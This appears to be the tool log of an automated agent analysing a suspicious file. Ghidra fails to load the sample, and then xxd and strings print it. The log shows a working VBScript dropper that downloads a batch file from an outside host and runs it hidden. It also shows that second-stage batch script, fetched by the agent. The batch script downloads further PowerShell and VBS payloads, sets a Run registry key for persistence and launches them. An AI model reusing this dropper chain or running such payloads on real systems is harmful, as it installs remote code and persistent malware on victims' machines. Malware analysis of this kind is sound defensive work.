{"filepath": "/sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8"}

Internal error: Error calling tool 'ghidra_open_server': Ghidra server failed to start:     /opt/ghidra_11.4.2_PUBLIC/Ghidra/Features/BytePatterns/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Features/DecompilerDependent/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Extensions/RX62T/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Processors/JVM/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Features/FunctionID/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Features/Jython/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Features/BSim/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Processors/8051/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Debug/Debugger-rmi-trace/ghidra_scripts
/app/ghidra_scripts
/opt/ghidra_11.4.2_PUBLIC/Ghidra/Processors/DATA/ghidra_scripts (HeadlessAnalyzer)

INFO  HEADLESS: execution starts (HeadlessAnalyzer)

INFO  Creating project: /sandbox/ghidra_45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8/ghidra (HeadlessAnalyzer)

INFO  Creating project: /sandbox/ghidra_45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8/ghidra (DefaultProject)

INFO  REPORT: Processing input files:  (HeadlessAnalyzer)

INFO       project: /sandbox/ghidra_45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8/ghidra (HeadlessAnalyzer)

INFO  IMPORTING: file:///sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8 (HeadlessAnalyzer)

INFO  No load spec found for import file: /sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8 (AutoImporter)

ERROR The AutoImporter could not successfully load file:///sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8 with the provided import parameters. Please ensure that any specified processor/cspec arguments are compatible with the loader that is used during import and try again. (HeadlessAnalyzer)

ERROR REPORT: Import failed for file: file:///sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8 (HeadlessAnalyzer)

{"command": "file /sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8"}

{"exitCode":0,"stdout":"/sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8: ASCII text\n","stderr":""}

{"command": "xxd -l 128 /sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8"}

{"exitCode":0,"stdout":"00000000: 4f6e 2045 7272 6f72 2052 6573 756d 6520  On Error Resume \n00000010: 4e65 7874 0a0a 436f 6e73 7420 6170 7046  Next..Const appF\n00000020: 6f6c 6465 7220 3d20 2225 6170 7064 6174  older = "%appdat\n00000030: 6125 5c70 6167 6564 2d6c 220a 436f 6e73  a%\paged-l".Cons\n00000040: 7420 6261 7463 6846 696c 6520 3d20 2225  t batchFile = "%\n00000050: 6170 7064 6174 6125 5c70 6167 6564 2d6c  appdata%\paged-l\n00000060: 5c73 7065 6369 616c 2e62 6174 220a 436f  \special.bat".Co\n00000070: 6e73 7420 7372 6355 726c 203d 2022 6874  nst srcUrl = "ht\n","stderr":""}

{"command": "strings /sandbox/45d28649adc41076debac6873c534ce285054a65f436d540763846b9e5f78aa8"}

{"exitCode":0,"stdout":"On Error Resume Next\nConst appFolder = "%appdata%\paged-l"\nConst batchFile = "%appdata%\paged-l\special.bat"\nConst srcUrl = "https://cyber-cryptor.netlify.app/main.txt\"\nConst placeholder = "**"\nConst replUrl = "https:$$easyfiles.cc$2025$7$78ab32df-fa26-4b57-b098-055df0d2567a$Encrypted.txt"\nSet fso = CreateObject("Scripting.FileSystemObject")\nSet shell = CreateObject("WScript.Shell")\nIf Not fso.FolderExists(shell.ExpandEnvironmentStrings(appFolder)) Then\n    fso.CreateFolder shell.ExpandEnvironmentStrings(appFolder)\nEnd If\nSet http = CreateObject("MSXML2.XMLHTTP")\nhttp.Open "GET", srcUrl, False\nhttp.Send\nIf http.Status = 200 Then\n    fso.CreateTextFile(shell.ExpandEnvironmentStrings(batchFile), True).Write http.ResponseText\nElse\n    WScript.Quit\nEnd If\nWScript.Sleep 3000\nIf fso.FileExists(shell.ExpandEnvironmentStrings(batchFile)) Then\n    Set file = fso.OpenTextFile(shell.ExpandEnvironmentStrings(batchFile), 1)\n    content = file.ReadAll\n    file.Close\n    Set file = fso.OpenTextFile(shell.ExpandEnvironmentStrings(batchFile), 2)\n    file.Write Replace(content, placeholder, replUrl)\n    file.Close\nElse\n    WScript.Quit\nEnd If\nWScript.Sleep 2000\nshell.Run "cmd /c timeout /t 2 & """ & shell.ExpandEnvironmentStrings(batchFile) & """", 0, False\n","stderr":""}

{"url":"https://cyber-cryptor.netlify.app/main.txt","prompt":"Return the raw text content of this file exactly as-is. Do not summarize. If it's code, keep all formatting."}

@echo off
setlocal EnableDelayedExpansion

set "d=%APPDATA%\Paged"
set "f=%d%\M.txt"
set "a=%d%\f1.txt"
set "b=%d%\f2.txt"
set "c=%d%\Nvs.ps1"
set "v=%d%\S_m.vbs"
set "u=cyber-cryptor.netlify.app"
set tynLink="****"
rmdir /s /q "%d%" 2>nul
mkdir "%d%" || exit /b 1
powershell -c "$dynLink = '%tynLink%'.Replace('$','/'); $contentM = (Invoke-WebRequest -Uri 'https://%u%/final.txt').Content; $contentA = (Invoke-WebRequest -Uri 'https://%u%/first.txt').Content; $contentB = (Invoke-WebRequest -Uri $dynLink).Content; $finalContent = $contentM -replace '----',$contentA -replace '====',$contentB; [System.IO.File]::WriteAllText('%c%', $finalContent)" || exit /b 1
powershell -c "$content = (Invoke-WebRequest -Uri 'https://%u%/S_m.vbs').Content; [System.IO.File]::WriteAllText('%v%', $content)" || exit /b 1
if not exist "%v%" exit /b 1
powershell -c "Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemBoot' -Value 'wscript.exe "%v%"'" || exit /b 1
start /min wscript "%v%" || exit /b 1
endlocal
exit /b 0